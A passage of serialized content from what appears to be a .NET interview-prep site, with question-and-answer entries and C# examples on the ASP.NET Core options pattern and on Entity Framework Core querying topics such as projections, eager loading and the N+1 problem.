System.ComponentModel.DataAnnotations\n    .ValidateOnStart();          \u002F\u002F throws at startup if validation fails\n\n\u002F\u002F Approach 2 — IValidateOptions\u003CT> (complex cross-property rules):\npublic class SmtpSettingsValidator : IValidateOptions\u003CSmtpSettings>\n{\n    public ValidateOptionsResult Validate(string? name, SmtpSettings options)\n    {\n        if (options.UseTls && options.Port == 25)\n            return ValidateOptionsResult.Fail(\n                \"TLS is enabled but port 25 is for unencrypted SMTP. Use 587 or 465.\");\n\n        return ValidateOptionsResult.Success;\n    }\n}\n\nbuilder.Services.AddSingleton\u003CIValidateOptions\u003CSmtpSettings>, SmtpSettingsValidator>();\n\n\u002F\u002F Approach 3 — inline delegate:\nbuilder.Services.AddOptions\u003CSmtpSettings>()\n    .BindConfiguration(\"Smtp\")\n    .Validate(s => !string.IsNullOrEmpty(s.Host), \"Smtp:Host is required\")\n    .ValidateOnStart();\n```\n\nWithout `ValidateOnStart()`, validation only runs the first time `options.Value` is\naccessed — which could be on the first production request rather than at startup.\n\n**Rule of thumb:** Always pair validation with `ValidateOnStart()` so misconfigured\nenvironments fail immediately with a clear error, not silently under load.\n",{"id":1469,"difficulty":96,"q":1470,"a":1471},"configure-vs-postconfigure","What is the difference between Configure\u003CT> and PostConfigure\u003CT>?","**`Configure\u003CT>`** sets option values. **`PostConfigure\u003CT>`** runs *after* all\n`Configure\u003CT>` calls and is used to override, sanitize, or augment values — useful\nin framework\u002Flibrary code that needs to ensure invariants regardless of what the app set.\n\n```csharp\n\u002F\u002F Base configuration from appsettings:\nbuilder.Services.Configure\u003CCacheSettings>(\n    builder.Configuration.GetSection(\"Cache\"));\n\u002F\u002F CacheSettings.MaxSize = 500 (from appsettings)\n\n\u002F\u002F Library code sets a sensible default if not configured:\nbuilder.Services.Configure\u003CCacheSettings>(settings =>\n{\n    if (settings.MaxSize == 0)\n        settings.MaxSize = 100; \u002F\u002F only sets if not already configured — check needed\n});\n\n\u002F\u002F PostConfigure — runs last; overrides whatever Configure set:\nbuilder.Services.PostConfigure\u003CCacheSettings>(settings =>\n{\n    \u002F\u002F Enforce a hard cap regardless of what appsettings or Configure said:\n    if (settings.MaxSize > 10_000)\n        settings.MaxSize = 10_000;\n\n    \u002F\u002F Ensure derived values are consistent:\n    settings.EvictionBatchSize = Math.Min(settings.EvictionBatchSize, settings.MaxSize \u002F 10);\n});\n\n\u002F\u002F Order of execution for a single options type:\n\u002F\u002F 1. All Configure\u003CT> calls (in registration order)\n\u002F\u002F 2. All PostConfigure\u003CT> calls (in registration order)\n\u002F\u002F Result: PostConfigure always wins — useful for library guarantees.\n\n\u002F\u002F PostConfigureAll — applies to all named instances:\nbuilder.Services.PostConfigureAll\u003CApiClientSettings>(settings =>\n{\n    \u002F\u002F Ensure every named ApiClientSettings has a trailing slash on BaseUrl:\n    if (!settings.BaseUrl.EndsWith('\u002F'))\n        settings.BaseUrl += '\u002F';\n});\n```\n\n**Rule of thumb:** Use `Configure\u003CT>` for setting values. Use `PostConfigure\u003CT>` in\nlibrary code to enforce invariants or caps that must hold regardless of what application\ncode configured.\n",{"id":1473,"difficulty":104,"q":1474,"a":1475},"options-in-tests","How do you inject options in unit tests without a real configuration file?","Use **`Microsoft.Extensions.Options.Options.Create\u003CT>()`** to wrap an in-memory instance\nas `IOptions\u003CT>` — no `IConfiguration`, `IServiceCollection`, or `appsettings.json`\nneeded.\n\n```csharp\n\u002F\u002F System under test:\npublic class EmailService\n{\n    private readonly SmtpSettings _settings;\n    public EmailService(IOptions\u003CSmtpSettings> options)\n        => _settings = options.Value;\n\n    public string BuildSubject(string template)\n        => template.Replace(\"{domain}\", _settings.Domain);\n}\n\n\u002F\u002F Unit test — no container, no config file:\npublic class EmailServiceTests\n{\n    [Fact]\n    public void BuildSubject_ReplacesTokenWithDomain()\n    {\n        \u002F\u002F Arrange — wrap an in-memory instance:\n        var options = Options.Create(new SmtpSettings\n        {\n            Host   = \"smtp.test.com\",\n            Port   = 587,\n            Domain = \"test.com\"\n        });\n\n        var sut = new EmailService(options);\n\n        \u002F\u002F Act:\n        var result = sut.BuildSubject(\"Hello from {domain}\");\n\n        \u002F\u002F Assert:\n        Assert.Equal(\"Hello from test.com\", result);\n    }\n}\n\n\u002F\u002F For IOptionsSnapshot\u003CT> tests, use a mock or TestOptionsManager:\nvar snapshot = Substitute.For\u003CIOptionsSnapshot\u003CSmtpSettings>>();\nsnapshot.Value.Returns(new SmtpSettings { Host = \"smtp.test.com\" });\nsnapshot.Get(\"Stripe\").Returns(new SmtpSettings { Host = \"stripe.smtp.com\" });\n```\n\n**Rule of thumb:** Use `Options.Create(new T { ... })` in unit tests — it's simpler\nthan building a full DI container and keeps tests fast and deterministic.\n",{"id":1477,"difficulty":96,"q":1478,"a":1479},"options-builder-pattern","How does the AddOptions\u003CT> fluent builder improve on Configure\u003CT>?","**`AddOptions\u003CT>()`** returns an `OptionsBuilder\u003CT>` that chains binding, validation,\nand post-configure steps fluently — cleaner than separate `Configure`, `AddSingleton`\n(for validators), and `PostConfigure` calls.\n\n```csharp\n\u002F\u002F Verbose equivalent (three separate calls):\nbuilder.Services.Configure\u003CJwtSettings>(builder.Configuration.GetSection(\"Jwt\"));\nbuilder.Services.AddSingleton\u003CIValidateOptions\u003CJwtSettings>, JwtSettingsValidator>();\nbuilder.Services.PostConfigure\u003CJwtSettings>(s => s.Issuer = s.Issuer.ToLower());\n\n\u002F\u002F Fluent equivalent with OptionsBuilder:\nbuilder.Services\n    .AddOptions\u003CJwtSettings>()\n    .BindConfiguration(\"Jwt\")\n    .Validate(s => s.Secret.Length >= 32,\n        \"Jwt:Secret must be at least 32 characters for HS256\")\n    .Validate(s => Uri.TryCreate(s.Issuer, UriKind.Absolute, out _),\n        \"Jwt:Issuer must be a valid absolute URI\")\n    .ValidateDataAnnotations()\n    .ValidateOnStart()       \u002F\u002F ← key: throws at startup, not first request\n    .PostConfigure(s => s.Issuer = s.Issuer.TrimEnd('\u002F').ToLower());\n\n\u002F\u002F Full example with a realistic settings class:\npublic class JwtSettings\n{\n    [Required, MinLength(32)]\n    public string Secret { get; set; } = \"\";\n\n    [Required]\n    public string Issuer { get; set; } = \"\";\n\n    [Required]\n    public string Audience { get; set; } = \"\";\n\n    [Range(1, 1440)]\n    public int ExpiryMinutes { get; set; } = 60;\n}\n```\n\n**Rule of thumb:** Prefer `AddOptions\u003CT>().BindConfiguration().Validate*().ValidateOnStart()`\nover scattered `Configure` + `PostConfigure` + manual validator registrations.\nChaining keeps the intent visible in one place.\n",{"id":1481,"difficulty":96,"q":1482,"a":1483},"options-reload","How does configuration reloading work with the options pattern?","ASP.NET Core's file-based configuration providers (like `appsettings.json`) support\n**hot reload** — they watch the file and re-read it on change. The options interfaces\ndiffer in how they expose reloaded values.\n\n```csharp\n\u002F\u002F Enable reloadOnChange (default in WebApplication.CreateBuilder):\nbuilder.Configuration.AddJsonFile(\"appsettings.json\",\n    optional: false, reloadOnChange: true);  \u002F\u002F watches the file\n\n\u002F\u002F IOptions\u003CT> — NEVER reloads; snapshot taken at startup:\npublic class StaticService\n{\n    public StaticService(IOptions\u003CAppSettings> options)\n    {\n        \u002F\u002F options.Value is frozen at startup — file changes ignored\n    }\n}\n\n\u002F\u002F IOptionsSnapshot\u003CT> — re-reads per HTTP request (reflects file changes):\npublic class PerRequestService\n{\n    private readonly AppSettings _settings;\n\n    public PerRequestService(IOptionsSnapshot\u003CAppSettings> options)\n    {\n        \u002F\u002F options.Value is fresh on every request — picks up file changes\n        _settings = options.Value;\n    }\n}\n\n\u002F\u002F IOptionsMonitor\u003CT> — registers a change callback:\npublic class LiveSettingsService\n{\n    private AppSettings _current;\n    private readonly IDisposable? _changeToken;\n\n    public LiveSettingsService(IOptionsMonitor\u003CAppSettings> monitor)\n    {\n        _current = monitor.CurrentValue;\n        _changeToken = monitor.OnChange(updated =>\n        {\n            _current = updated;\n            Console.WriteLine($\"Settings reloaded at {DateTime.UtcNow:O}\");\n        });\n    }\n\n    public void Dispose() => _changeToken?.Dispose();\n}\n```\n\n**Rule of thumb:** For feature flags and A\u002FB config that must update without restart,\nuse `IOptionsMonitor\u003CT>` in singletons. For values that are safe to cache per-request,\nuse `IOptionsSnapshot\u003CT>`. Never use `IOptions\u003CT>` for values that need live reloads.\n",{"id":1485,"difficulty":104,"q":1486,"a":1487},"options-di-registration","What does builder.Services.Configure\u003CT> actually do under the hood?","`Configure\u003CT>` registers a named `IConfigureOptions\u003CT>` service. When `IOptions\u003CT>`\nis first accessed, the options framework runs every registered `IConfigureOptions\u003CT>` in\norder to build the final settings object.\n\n```csharp\n\u002F\u002F What Configure\u003CT>(section) actually does:\nbuilder.Services.Configure\u003CSmtpSettings>(\n    builder.Configuration.GetSection(\"Smtp\"));\n\n\u002F\u002F Internally equivalent to:\nbuilder.Services.AddSingleton\u003CIConfigureOptions\u003CSmtpSettings>>(\n    new ConfigureNamedOptions\u003CSmtpSettings>(\n        Options.DefaultName,           \u002F\u002F name = \"\" (the default name)\n        opts => builder.Configuration  \u002F\u002F action binds the section\n            .GetSection(\"Smtp\").Bind(opts)));\n\n\u002F\u002F Registering multiple Configure\u003CT> calls stacks the actions:\nbuilder.Services.Configure\u003CSmtpSettings>(s => s.Port = 587);    \u002F\u002F action 1\nbuilder.Services.Configure\u003CSmtpSettings>(s => s.UseTls = true); \u002F\u002F action 2\n\u002F\u002F Both run in order when IOptions\u003CSmtpSettings>.Value is first accessed.\n\n\u002F\u002F You can inspect what's registered:\nvar descriptors = builder.Services\n    .Where(d => d.ServiceType == typeof(IConfigureOptions\u003CSmtpSettings>))\n    .ToList();\n\u002F\u002F Lists all Configure\u003CSmtpSettings> registrations in order\n```\n\nUnderstanding this lets you reason about layering: each `Configure\u003CT>` call adds\nanother action that runs against the same object in sequence, so later calls can\noverride earlier ones.\n\n**Rule of thumb:** Because `Configure\u003CT>` is additive, library code should use\n`TryAdd`-based patterns or `PostConfigure` to avoid overwriting application settings.\nApplication code registers last and wins.\n",{"id":1489,"difficulty":104,"q":1490,"a":1491},"options-vs-configuration","When should you inject IOptions\u003CT> vs IConfiguration directly?","**`IConfiguration`** is the raw key-value source. **`IOptions\u003CT>`** is the strongly\ntyped, validated, injectable wrapper. As a rule, only infrastructure\u002Fstartup code\nshould touch `IConfiguration` directly.\n\n```csharp\n\u002F\u002F Application service reading raw IConfiguration — fragile, untestable:\npublic class PaymentService\n{\n    public PaymentService(IConfiguration config)\n    {\n        \u002F\u002F Magic strings; no compile-time check; null if key is missing:\n        var apiKey = config[\"Stripe:ApiKey\"];\n        var timeout = int.Parse(config[\"Stripe:TimeoutMs\"] ?? \"5000\");\n    }\n}\n\n\u002F\u002F Application service using IOptions\u003CT> — typed, validated, testable:\npublic record StripeSettings(string ApiKey, int TimeoutMs = 5000);\n\npublic class PaymentService\n{\n    private readonly StripeSettings _stripe;\n\n    public PaymentService(IOptions\u003CStripeSettings> options)\n        => _stripe = options.Value; \u002F\u002F compile-time names; validated at startup\n\n    \u002F\u002F Test: Options.Create(new StripeSettings(\"test_key\"))\n}\n\n\u002F\u002F Legitimate IConfiguration use — startup wiring, extension methods:\nbuilder.Services.Configure\u003CStripeSettings>(\n    builder.Configuration.GetSection(\"Stripe\")); \u002F\u002F infrastructure, not app code\n\nbuilder.Services.AddSingleton\u003CIConnectionFactory>(sp =>\n{\n    var connStr = sp.GetRequiredService\u003CIConfiguration>()\n        .GetConnectionString(\"Default\");     \u002F\u002F acceptable in factory delegates\n    return new SqlConnectionFactory(connStr!);\n});\n```\n\n**Rule of thumb:** Inject `IOptions\u003CT>` in application services. Reserve\n`IConfiguration` for `Program.cs`, startup extensions, and factory delegates where\nyou're wiring infrastructure — not implementing business logic.\n",{"id":1493,"difficulty":96,"q":1494,"a":1495},"options-environment-overrides","How do you provide environment-specific overrides for options in ASP.NET Core?","ASP.NET Core's configuration system layers sources in order — last one wins. The\nstandard `appsettings.{Environment}.json` override pattern and environment variables\nboth work automatically with the options pattern.\n\n```csharp\n\u002F\u002F appsettings.json (base defaults):\n\u002F\u002F { \"Email\": { \"Host\": \"smtp.example.com\", \"Port\": 587 } }\n\n\u002F\u002F appsettings.Development.json (developer overrides):\n\u002F\u002F { \"Email\": { \"Host\": \"localhost\", \"Port\": 1025 } }  \u002F\u002F MailHog\u002FPapercut\n\n\u002F\u002F appsettings.Production.json (production values):\n\u002F\u002F { \"Email\": { \"Host\": \"smtp.sendgrid.net\", \"Port\": 465 } }\n\n\u002F\u002F WebApplication.CreateBuilder wires these automatically in order:\n\u002F\u002F 1. appsettings.json\n\u002F\u002F 2. appsettings.{ASPNETCORE_ENVIRONMENT}.json  (overlays base)\n\u002F\u002F 3. User secrets (Development only)\n\u002F\u002F 4. Environment variables (overlay everything)\n\u002F\u002F 5. Command-line args (highest priority)\n\n\u002F\u002F Options registration is unchanged — same code for all environments:\nbuilder.Services.AddOptions\u003CEmailSettings>()\n    .BindConfiguration(\"Email\")\n    .ValidateDataAnnotations()\n    .ValidateOnStart();\n\n\u002F\u002F Override a single property via environment variable — no code change needed:\n\u002F\u002F DOTNET_Email__Host=smtp.override.com  (double underscore = config key separator)\n\u002F\u002F ASPNETCORE_Email__Port=2525\n\n\u002F\u002F Override in tests using WebApplicationFactory:\nawait using var factory = new WebApplicationFactory\u003CProgram>()\n    .WithWebHostBuilder(host =>\n        host.UseSetting(\"Email:Host\", \"smtp.test.local\")\n            .UseSetting(\"Email:Port\", \"1025\"));\n\n\u002F\u002F Or via in-memory configuration:\nawait using var factory = new WebApplicationFactory\u003CProgram>()\n    .WithWebHostBuilder(host =>\n        host.ConfigureAppConfiguration(cfg =>\n            cfg.AddInMemoryCollection(new Dictionary\u003Cstring, string?>\n            {\n                [\"Email:Host\"] = \"smtp.test.local\",\n                [\"Email:Port\"] = \"1025\"\n            })));\n```\n\n**Rule of thumb:** Keep `appsettings.json` as the documented baseline with safe\ndefaults. Let `appsettings.{Environment}.json` and environment variables layer over it.\nNever hard-code environment checks in application code — the config system handles it.\n",{"id":1497,"difficulty":96,"q":1498,"a":1499},"options-secrets","How do you handle secrets (API keys, connection strings) with the options pattern?","Secrets should never live in `appsettings.json` (committed to source control). The\noptions pattern is compatible with all three standard secret sources: User Secrets\n(development), environment variables (CI\u002FCD and containers), and Azure Key Vault\n(production).\n\n```csharp\npublic class StripeSettings\n{\n    \u002F\u002F Non-secret — safe in appsettings.json:\n    public string BaseUrl    { get; set; } = \"https:\u002F\u002Fapi.stripe.com\";\n    public int    TimeoutMs  { get; set; } = 5000;\n\n    \u002F\u002F Secret — must come from a secret store, NOT appsettings.json:\n    public string SecretKey  { get; set; } = \"\";\n    public string WebhookKey { get; set; } = \"\";\n}\n\n\u002F\u002F Development: User Secrets (stored outside the repo in %APPDATA%\u002FMicrosoft\u002FUserSecrets):\n\u002F\u002F dotnet user-secrets set \"Stripe:SecretKey\" \"sk_test_...\"\n\u002F\u002F dotnet user-secrets set \"Stripe:WebhookKey\" \"whsec_...\"\n\u002F\u002F WebApplication.CreateBuilder auto-loads user secrets in Development.\n\n\u002F\u002F Production\u002FCI: environment variables (double underscore as separator):\n\u002F\u002F Stripe__SecretKey=sk_live_...\n\u002F\u002F Stripe__WebhookKey=whsec_...\n\n\u002F\u002F Azure Key Vault (for production managed secrets):\nbuilder.Configuration.AddAzureKeyVault(\n    new Uri(\"https:\u002F\u002Fmyvault.vault.azure.net\u002F\"),\n    new DefaultAzureCredential());\n\u002F\u002F Key Vault secrets map: \"Stripe--SecretKey\" → config key \"Stripe:SecretKey\"\n\n\u002F\u002F Validation ensures secrets are present before the app starts:\nbuilder.Services.AddOptions\u003CStripeSettings>()\n    .BindConfiguration(\"Stripe\")\n    .Validate(s => !string.IsNullOrEmpty(s.SecretKey),\n        \"Stripe:SecretKey is required — set via user secrets or environment variable\")\n    .ValidateOnStart();\n```\n\n**Rule of thumb:** Keep secrets out of source control entirely. Use User Secrets for\ndevelopment, environment variables or a secrets manager for production. Options\nvalidation with `ValidateOnStart()` catches missing secrets at startup with a clear\nerror message.\n",{"id":1501,"difficulty":96,"q":1502,"a":1503},"options-pattern-complex-types","How do you bind nested objects, collections, and enums in options classes?","The configuration binder handles nested objects, arrays, dictionaries, and enums\nautomatically — you just need the POCO structure to match the JSON shape.\n\n```csharp\n\u002F\u002F appsettings.json:\n\u002F\u002F {\n\u002F\u002F   \"Notification\": {\n\u002F\u002F     \"Email\": { \"Host\": \"smtp.example.com\", \"Port\": 587 },\n\u002F\u002F     \"Sms\":   { \"Provider\": \"Twilio\", \"From\": \"+15555550100\" },\n\u002F\u002F     \"EnabledChannels\": [\"Email\", \"Sms\"],\n\u002F\u002F     \"Templates\": {\n\u002F\u002F       \"Welcome\": \"Welcome to {AppName}!\",\n\u002F\u002F       \"Reset\":   \"Your reset code is {Code}.\"\n\u002F\u002F     },\n\u002F\u002F     \"RetryPolicy\": { \"MaxAttempts\": 3, \"BackoffStrategy\": \"Exponential\" }\n\u002F\u002F   }\n\u002F\u002F }\n\npublic enum BackoffStrategy { Linear, Exponential, Fixed }\n\npublic class RetryPolicySettings\n{\n    public int             MaxAttempts     { get; set; } = 3;\n    public BackoffStrategy BackoffStrategy { get; set; } = BackoffStrategy.Exponential;\n}\n\npublic class NotificationSettings\n{\n    \u002F\u002F Nested object — bound recursively:\n    public EmailConfig Email { get; set; } = new();\n    public SmsConfig   Sms   { get; set; } = new();\n\n    \u002F\u002F Array — bound from JSON array:\n    public List\u003Cstring> EnabledChannels { get; set; } = new();\n\n    \u002F\u002F Dictionary — bound from JSON object:\n    public Dictionary\u003Cstring, string> Templates { get; set; } = new();\n\n    \u002F\u002F Nested object with enum — enum bound by name (case-insensitive):\n    public RetryPolicySettings RetryPolicy { get; set; } = new();\n}\n\nbuilder.Services.AddOptions\u003CNotificationSettings>()\n    .BindConfiguration(\"Notification\")\n    .ValidateDataAnnotations()\n    .ValidateOnStart();\n\n\u002F\u002F Usage:\npublic class NotificationService\n{\n    private readonly NotificationSettings _settings;\n\n    public NotificationService(IOptions\u003CNotificationSettings> opts)\n        => _settings = opts.Value;\n\n    public bool IsChannelEnabled(string channel)\n        => _settings.EnabledChannels.Contains(channel, StringComparer.OrdinalIgnoreCase);\n\n    public string GetTemplate(string name)\n        => _settings.Templates.TryGetValue(name, out var t) ? t : \"\";\n}\n```\n\n**Rule of thumb:** Match your POCO property names and nesting to the JSON structure —\nthe binder is case-insensitive and handles most types automatically. Use `init` setters\nfor immutability if you don't need post-binding mutation.\n",{"id":1505,"difficulty":206,"q":1506,"a":1507},"options-change-token","How does IOptionsMonitor\u003CT> use change tokens to detect configuration reloads?","`IOptionsMonitor\u003CT>` tracks config changes via **`IChangeToken`** — the same\nabstraction that `IFileProvider` and `IConfiguration` use internally. Understanding\nthis mechanism helps when building custom configuration sources that support hot reload.\n\n```csharp\n\u002F\u002F IOptionsMonitor\u003CT> exposes the OnChange callback — backed by change tokens internally:\npublic class FeatureFlagMonitor : IDisposable\n{\n    private FeatureFlags _current;\n    private readonly IDisposable? _subscription;\n\n    public FeatureFlagMonitor(IOptionsMonitor\u003CFeatureFlags> monitor)\n    {\n        _current      = monitor.CurrentValue;\n        \u002F\u002F OnChange returns an IDisposable subscription — dispose to unsubscribe:\n        _subscription = monitor.OnChange((updated, name) =>\n        {\n            \u002F\u002F name is null for the default (unnamed) options instance:\n            if (name is null or \"\")\n            {\n                _current = updated;\n                \u002F\u002F Note: this callback may fire on a thread pool thread — protect shared\n                \u002F\u002F state if needed (Interlocked.Exchange, lock, etc.)\n            }\n        });\n    }\n\n    public bool IsEnabled(string flag)\n        => _current.Flags.TryGetValue(flag, out var v) && v;\n\n    public void Dispose() => _subscription?.Dispose(); \u002F\u002F unsubscribe on cleanup\n}\n\n\u002F\u002F Custom configuration source with change token support:\npublic class DatabaseConfigSource : IConfigurationSource\n{\n    public IConfigurationProvider Build(IConfigurationBuilder builder)\n        => new DatabaseConfigProvider();\n}\n\npublic class DatabaseConfigProvider : ConfigurationProvider, IDisposable\n{\n    private readonly Timer _timer;\n\n    public DatabaseConfigProvider()\n    {\n        \u002F\u002F Poll the database every 60 seconds and signal a change if values differ:\n        _timer = new Timer(_ => CheckForChanges(), null,\n            TimeSpan.Zero, TimeSpan.FromSeconds(60));\n    }\n\n    private void CheckForChanges()\n    {\n        Load(); \u002F\u002F re-read from DB\n        OnReload(); \u002F\u002F fires IChangeToken — triggers IOptionsMonitor callbacks\n    }\n\n    public override void Load() { \u002F* read key-values from DB into Data dict *\u002F }\n    public void Dispose() => _timer.Dispose();\n}\n```\n\n**Rule of thumb:** Always dispose the `IDisposable` returned by `OnChange` — a leaked\nsubscription holds a reference to your callback (and its closure) for the app lifetime.\nIn Singleton services, store the subscription and dispose it in `IDisposable.Dispose`.\n",{"description":94},"Options pattern interview questions — IOptions vs IOptionsSnapshot vs IOptionsMonitor, named options, validation, and binding from configuration.","dotnet\u002Fdependency-injection\u002Foptions-pattern","V7PTrdSyjF649323blV9pbg5ton8Im07Yu6rAlqIoDg",{"id":1513,"title":1514,"body":1515,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":1519,"navigation":99,"order":38,"path":1520,"questions":1521,"questionsCount":163,"related":164,"seo":1582,"seoDescription":1583,"stem":1584,"subtopic":1514,"topic":55,"topicSlug":57,"updated":168,"__hash__":1585},"qa\u002Fdotnet\u002Fentity-framework\u002Fquerying.md","Querying",{"type":91,"value":1516,"toc":1517},[],{"title":94,"searchDepth":29,"depth":29,"links":1518},[],{},"\u002Fdotnet\u002Fentity-framework\u002Fquerying",[1522,1526,1530,1534,1538,1542,1546,1550,1554,1558,1562,1566,1570,1574,1578],{"id":1523,"difficulty":104,"q":1524,"a":1525},"ef-iqueryable-vs-ienumerable","What is the difference between IQueryable and IEnumerable in EF Core queries?","**`IQueryable\u003CT>`** builds an expression tree that EF Core translates to SQL —\nfiltering happens in the database. **`IEnumerable\u003CT>`** operates in memory —\nthe full result set is loaded first, then filtered in C#.\n\n```csharp\n\u002F\u002F IQueryable — WHERE clause runs on the DB:\nIQueryable\u003COrder> query = _db.Orders          \u002F\u002F still IQueryable — no SQL yet\n    .Where(o => o.CustomerId == customerId)    \u002F\u002F added to SQL: WHERE CustomerId = @p0\n    .Where(o => o.Total > 100);               \u002F\u002F added to SQL: AND Total > @p1\n\n\u002F\u002F Materialise — this is when SQL executes:\nvar orders = await query.ToListAsync();       \u002F\u002F SELECT ... WHERE CustomerId=? AND Total>?\n\n\u002F\u002F IEnumerable — loads ALL rows, then filters in memory:\nIEnumerable\u003COrder> allOrders = _db.Orders.AsEnumerable(); \u002F\u002F SELECT * FROM Orders (all rows!)\nvar expensive = allOrders.Where(o => o.Total > 100);      \u002F\u002F filtered in C# — too late\n\n\u002F\u002F Practical consequence:\npublic IQueryable\u003COrder> GetOrdersByCustomer(int id)\n    => _db.Orders.Where(o => o.CustomerId == id); \u002F\u002F callers can compose further SQL\n\npublic IEnumerable\u003COrder> GetOrdersByCustomerBad(int id)\n    => _db.Orders.Where(o => o.CustomerId == id).ToList(); \u002F\u002F materialised — composition lost\n```\n\n**Rule of thumb:** Keep queries as `IQueryable\u003CT>` until the last moment. Never call\n`.AsEnumerable()` or `.ToList()` mid-chain unless you intentionally want in-memory\nprocessing of a small set.\n",{"id":1527,"difficulty":104,"q":1528,"a":1529},"ef-deferred-execution","What is deferred execution in EF Core and which operations trigger SQL?","EF Core queries are **deferred** — they build an expression tree but don't hit the\ndatabase until a **terminal operator** materialises the results.\n\n```csharp\n\u002F\u002F Building the query — NO SQL yet:\nvar query = _db.Orders\n    .Where(o => o.Status == \"Pending\")\n    .OrderBy(o => o.CreatedAt)\n    .Take(50);\n\n\u002F\u002F Terminal operators — each generates and executes SQL:\nvar list   = await query.ToListAsync();            \u002F\u002F SELECT ... (returns List\u003COrder>)\nvar first  = await query.FirstOrDefaultAsync();    \u002F\u002F SELECT TOP 1 ...\nvar count  = await query.CountAsync();             \u002F\u002F SELECT COUNT(*)\nvar any    = await query.AnyAsync();               \u002F\u002F SELECT CASE WHEN EXISTS(...)\nvar single = await query.SingleAsync();            \u002F\u002F SELECT ... (throws if 0 or 2+)\nvar array  = await query.ToArrayAsync();\nvar dict   = await query.ToDictionaryAsync(o => o.Id);\n\n\u002F\u002F foreach also triggers execution (but prefer ToListAsync for async):\nawait foreach (var order in query.AsAsyncEnumerable()) \u002F\u002F streaming — no full buffer\n    Process(order);\n\n\u002F\u002F Common mistake — calling the DB twice:\nvar q = _db.Products.Where(p => p.IsActive);\nvar count    = await q.CountAsync();  \u002F\u002F SELECT COUNT(*) — first trip\nvar products = await q.ToListAsync(); \u002F\u002F SELECT * — second trip\n\u002F\u002F Fix: do both in one query or materialise once.\n```\n\n**Rule of thumb:** A LINQ chain on `DbSet\u003CT>` is just a description. SQL executes\nonly at `ToListAsync`, `FirstOrDefaultAsync`, `CountAsync`, `AnyAsync`, etc.\nAvoid materialising the same query twice.\n",{"id":1531,"difficulty":104,"q":1532,"a":1533},"ef-projection","How do you use projections (Select) to load only the columns you need?","**Projection** via `.Select()` instructs EF Core to generate a `SELECT` with only\nthe specified columns, reducing data transfer and avoiding unnecessary object overhead.\n\n```csharp\n\u002F\u002F Loads all columns including large blobs:\nvar orders = await _db.Orders\n    .Where(o => o.CustomerId == customerId)\n    .ToListAsync(); \u002F\u002F SELECT Id, CustomerId, Status, Total, Notes, Blob, ...\n\n\u002F\u002F Project to a DTO — only fetches needed columns:\nvar summaries = await _db.Orders\n    .Where(o => o.CustomerId == customerId)\n    .Select(o => new OrderSummaryDto\n    {\n        Id     = o.Id,\n        Status = o.Status,\n        Total  = o.Total\n    })\n    .ToListAsync(); \u002F\u002F SELECT Id, Status, Total FROM Orders WHERE CustomerId = @p0\n\n\u002F\u002F Anonymous type projection (quick\u002Flocal use):\nvar ids = await _db.Orders\n    .Where(o => o.Status == \"Pending\")\n    .Select(o => new { o.Id, o.CreatedAt })\n    .ToListAsync();\n\n\u002F\u002F Nested projection — joins happen in one query:\nvar result = await _db.Orders\n    .Select(o => new OrderDetailDto\n    {\n        Id           = o.Id,\n        CustomerName = o.Customer.Name,  \u002F\u002F JOIN generated automatically\n        Items        = o.Items.Select(i => new ItemDto\n        {\n            ProductName = i.Product.Name,\n            Quantity    = i.Quantity\n        }).ToList()\n    })\n    .ToListAsync();\n```\n\n**Rule of thumb:** Always project to a DTO or anonymous type when the query result\nis read-only. Loading full entities just to read two columns wastes bandwidth and\nmemory, especially for large tables.\n",{"id":1535,"difficulty":96,"q":1536,"a":1537},"ef-eager-loading","What is eager loading and how do you use Include and ThenInclude?","**Eager loading** fetches related entities in the same query via SQL `JOIN` using\n`Include` and `ThenInclude`, avoiding separate round trips to the database.\n\n```csharp\n\u002F\u002F Without Include — navigation properties are null:\nvar order = await _db.Orders.FindAsync(42);\nConsole.WriteLine(order.Customer.Name); \u002F\u002F NullReferenceException — not loaded\n\n\u002F\u002F Include — adds a JOIN for the related table:\nvar order = await _db.Orders\n    .Include(o => o.Customer)                  \u002F\u002F JOIN Customers\n    .Include(o => o.Items)                     \u002F\u002F JOIN OrderItems\n    .FirstOrDefaultAsync(o => o.Id == 42);\n\n\u002F\u002F ThenInclude — navigate deeper into the graph:\nvar orders = await _db.Orders\n    .Include(o => o.Items)                     \u002F\u002F JOIN OrderItems\n        .ThenInclude(i => i.Product)           \u002F\u002F JOIN Products\n    .Include(o => o.Customer)\n        .ThenInclude(c => c.Address)           \u002F\u002F JOIN Addresses\n    .Where(o => o.Status == \"Pending\")\n    .ToListAsync();\n\n\u002F\u002F Filtered include (EF Core 5+) — only include a subset of related items:\nvar orders = await _db.Orders\n    .Include(o => o.Items.Where(i => !i.IsCancelled))\n    .ToListAsync();\n\n\u002F\u002F Include with AsNoTracking for read-only operations:\nvar orders = await _db.Orders\n    .AsNoTracking()\n    .Include(o => o.Items)\n    .ToListAsync();\n```\n\n**Rule of thumb:** Use `Include` for 1–2 levels of related data when you know you'll\nneed it. Deep or conditional includes can generate complex SQL — consider splitting\ninto multiple queries for very deep graphs.\n",{"id":1539,"difficulty":96,"q":1540,"a":1541},"ef-n-plus-one","What is the N+1 query problem and how do you fix it in EF Core?","The **N+1 problem** occurs when code issues one query to load N parents, then N\nadditional queries — one per parent — to load a related collection. Total: N+1 queries.\n\n```csharp\n\u002F\u002F N+1 — lazy loading or iterating without Include:\nvar customers = await _db.Customers.ToListAsync(); \u002F\u002F Query 1: SELECT * FROM Customers\n\nforeach (var customer in customers)\n{\n    \u002F\u002F Query 2..N+1: SELECT * FROM Orders WHERE CustomerId = @id (once per customer!)\n    var count = customer.Orders.Count;\n    Console.WriteLine($\"{customer.Name}: {count} orders\");\n}\n\u002F\u002F 100 customers = 101 queries\n\n\u002F\u002F Fix 1 — eager load with Include:\nvar customers = await _db.Customers\n    .Include(c => c.Orders)\n    .ToListAsync(); \u002F\u002F 1 query with JOIN\n\n\u002F\u002F Fix 2 — project the count into the initial query:\nvar summary = await _db.Customers\n    .Select(c => new\n    {\n        c.Name,\n        OrderCount = c.Orders.Count  \u002F\u002F COUNT(*) in a subquery — 1 SQL statement\n    })\n    .ToListAsync();\n\n\u002F\u002F Fix 3 — split query (EF Core 5+) for very wide result sets:\nvar customers = await _db.Customers\n    .Include(c => c.Orders)\n    .AsSplitQuery()   \u002F\u002F 2 queries: one for Customers, one for Orders (no cartesian)\n    .ToListAsync();\n\n\u002F\u002F Detect N+1 in development with EF Core logging:\noptions.LogTo(Console.WriteLine, LogLevel.Information);\n\u002F\u002F or use MiniProfiler, EF Core interceptors, or Application Insights\n```\n\n**Rule of thumb:** Never loop over a collection and access a navigation property\ninside the loop without first loading it via `Include`. Enable query logging 